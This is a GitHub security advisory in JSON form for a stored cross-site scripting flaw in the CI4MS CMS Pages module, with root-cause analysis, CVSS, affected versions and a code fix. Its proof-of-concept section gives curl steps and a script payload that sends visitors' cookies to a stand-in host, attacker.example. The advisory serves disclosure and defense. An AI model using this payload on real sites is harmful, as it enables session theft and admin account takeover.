CVE-2026-45270: CI4MS Cross-Site Scripting Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gqr2-7hcg-rchf",
  "modified" : "2026-05-18T16:23:34Z",
  "published" : "2026-05-18T16:23:34Z",
  "aliases" : [ "CVE-2026-45270" ],
  "summary" : "CI4MS: Stored XSS in Pages Module Content via Broken html_purify Validation Rule",
  "details" : "## Summary\n\nThe `Pages` backend module registers the `html_purify` validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (`Home::index()` → `app/Views/templates/default/pages.php`) emits `$pageInfo->content` without `esc()`, yielding stored XSS that fires for every public visitor of the affected page — including administrators. Because pages may be promoted to the site home page, the payload can be served at `/` and reach every visitor of the site.\n\n## Details\n\nThis is a sibling-module variant of the same root cause as the Blog stored-XSS issue. The `html_purify` custom rule (`modules/Backend/Validation/CustomRules.php:54`) mutates its first argument by reference:\n\n```php\npublic function html_purify(?string &$str = null, ?string &$error = null): bool\n{\n    ...\n    $clean = self::sanitizeHtml($str);\n    $str = $clean;\n    self::$cleanCache[md5((string)$str)] = $clean;\n    return true;\n}\n```\n\nCodeIgniter 4's `Validation::processRules()` (`vendor/codeigniter4/framework/system/Validation/Validation.php:344`) invokes the rule as `$set->{$rule}($value, $error)` where `$value` is a local copy populated from request data. Even though the rule signature accepts `$str` by reference, the mutation only updates the local `$value` inside `processRules()`; the original POST array (and the request body) are never modified. To get the sanitized output, controllers must call `CustomRules::getClean(...)` after validation — but no controller in the codebase does so.\n\nPages controller — `modules/Pages/Controllers/Pages.php`:\n\n- `Pages::create()` registers the rule at line 82:\n  ```php\n  'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],\n  ```\n  Then at lines 102–113 it reads the raw POST and inserts it untouched:\n  ```php\n  $langsData = $this->request->getPost('lang') ?? [];\n  ...\n  $this->commonModel->create('pages_langs', [\n      ...\n      'content' => $lData['content'],   // line 111 — RAW\n      ...\n  ]);\n  ```\n- `Pages::update()` mirrors the same pattern at lines 130 and 157:\n  ```php\n  'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],   // line 130\n  ...\n  'content' => $lData['content'],   // line 157 — RAW\n  ```\n\nThe row lands in `pages_langs.content`, which is then read by the public-facing `Home::index()` controller (`app/Controllers/Home.php:31-76`) and emitted by the template at `app/Views/templates/default/pages.php:32`:\n\n```php\n<div id=\"ci4ms-content\">\n    <?php echo $pageInfo->content ?>     // no esc(), raw HTML output\n</div>\n```\n\n`CommonLibrary::parseInTextFunctions()` (`app/Libraries/CommonLibrary.php:45`) is called on `$pageInfo->content` first, but only handles `{{form=...}}` / `{...|...}` shortcode-style replacement — it does no HTML sanitization.\n\nThis is distinct from the Blog finding:\n- Different module/controller (`Modules\\Pages\\Controllers\\Pages` vs `Modules\\Blog\\Controllers\\Blog`)\n- Different table (`pages_langs.content` vs `blog_langs.content`)\n- Different view file (`templates/{theme}/pages.php` vs `templates/{theme}/blog/post.php`)\n- Different route (`/<seflink>` matched by `Home::index` vs `/blog/<seflink>`)\n- Pages can be promoted to the site home page via `Pages::setHomePage` (`modules/Pages/Controllers/Pages.php:206`), broadening blast radius beyond a single slug to every visitor of `/`.\n\nRoutes are confirmed protected by `backendGuard` for authentication (`modules/Pages/Config/PagesConfig.php:12-17`) and require `pages.create` / `pages.update` Shield permissions (`modules/Pages/Config/Routes.php:4-5`).\n\n## PoC\n\nPrerequisite: an account with the `pages.create` (or `pages.update`) permission. In ci4ms this is a non-admin content-author role.\n\nStep 1 — log in to backend, capture cookies:\n```bash\ncurl -k -c cookies.txt -b cookies.txt -X POST https://target/login \\\n  -d 'email=author@example.com' -d 'password=AuthorPass1!'\n```\n\nStep 2 — create a page with a malicious `content` payload:\n```bash\ncurl -k -b cookies.txt -X POST https://target/backend/pages/create \\\n  -d 'lang[en][title]=POC' \\\n  -d 'lang[en][seflink]=poc-page-xss' \\\n  -d 'lang[en][content]=<script>fetch(\"https://attacker.example/?c=\"+encodeURIComponent(document.cookie))</script>' \\\n  -d 'isActive=1'\n```\n\nExpected: redirect to `/backend/pages/1` with `lang('Backend.created')` flashdata. The DB row `pages_langs.content` contains the literal `<script>...</script>` payload.\n\nStep 3 — trigger the XSS by visiting the public URL:\n```\nhttps://target/poc-page-xss\n```\n\n`Home::index()` selects the row, `pages.php:32` emits the raw `<script>` tag, and the payload runs in every visitor's browser context. If a logged-in administrator browses the public site or follows a link to this slug, their backend session cookie is exfiltrated to `attacker.example`, enabling full account takeover.\n\nStep 4 — broaden blast radius (optional, requires `pages.update`):\n```bash\ncurl -k -b cookies.txt -X POST https://target/backend/pages/setHomePage/<page_id> \\\n  -H 'X-Requested-With: XMLHttpRequest'\n```\n\nAfter this, the malicious page is served at `/` to every visitor, including unauthenticated visitors and admins navigating to the front-end.\n\n## Impact\n\n- **Stored XSS in public-facing site:** any visitor to a malicious page slug — or to `/` if the page is set as home — executes the attacker's JavaScript.\n- **Admin account takeover:** an authenticated admin who loads the public page (common during normal site review) leaks their Shield session cookie / CSRF token, enabling the attacker to ride the session against the entire `/backend/*` surface (full CMS administration, user management, file editor, backups, theme upload).\n- **Privilege escalation:** the attacker only needs `pages.create` (a role typically delegated to non-admin content authors), but obtains code execution in the admin's browser, escaping the content-author security boundary into the admin's. This is the rationale for **S:C** in the CVSS vector.\n- **Persistence and broad reach:** the payload is database-backed and survives until the row is edited or deleted; the home-page promotion converts a single-slug XSS into a site-wide drive-by.\n\n## Recommended Fix\n\nStop relying on the broken reference-mutation pattern. The simplest, safest fix is to call the existing `sanitizeHtml` / `getClean` helper explicitly when persisting the content. In `modules/Pages/Controllers/Pages.php`:\n\n```php\nuse Modules\\Backend\\Validation\\CustomRules;\n\n// Pages::create() — replace line 111\n$this->commonModel->create('pages_langs', [\n    'pages_id' => $insertID,\n    'lang'     => $langCode,\n    'title'    => strip_tags(trim($lData['title'])),\n    'seflink'  => strip_tags(trim($lData['seflink'])),\n    'content'  => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),\n    'seo'      => $seoData\n]);\n\n// Pages::update() — replace line 157\n$langUpdate = [\n    'title'   => strip_tags(trim($lData['title'])),\n    'seflink' => strip_tags(trim($lData['seflink'])),\n    'content' => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),\n    'seo'     => $seoData\n];\n```\n\nApply the same pattern in every other module that uses `html_purify` (Blog, etc.). For defense-in-depth, also escape on output for any field that is not intended to be raw HTML, and consider rewriting the `html_purify` rule to operate on `$data` so the validator stores the sanitized result via `getValidated()` rather than relying on a reference mutation that the framework discards.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "ci4-cms-erp/ci4ms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.31.9.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.31.8.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-gqr2-7hcg-rchf"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ci4-cms-erp/ci4ms"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.9.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-18T16:23:34Z",
    "nvd_published_at" : null
  }
}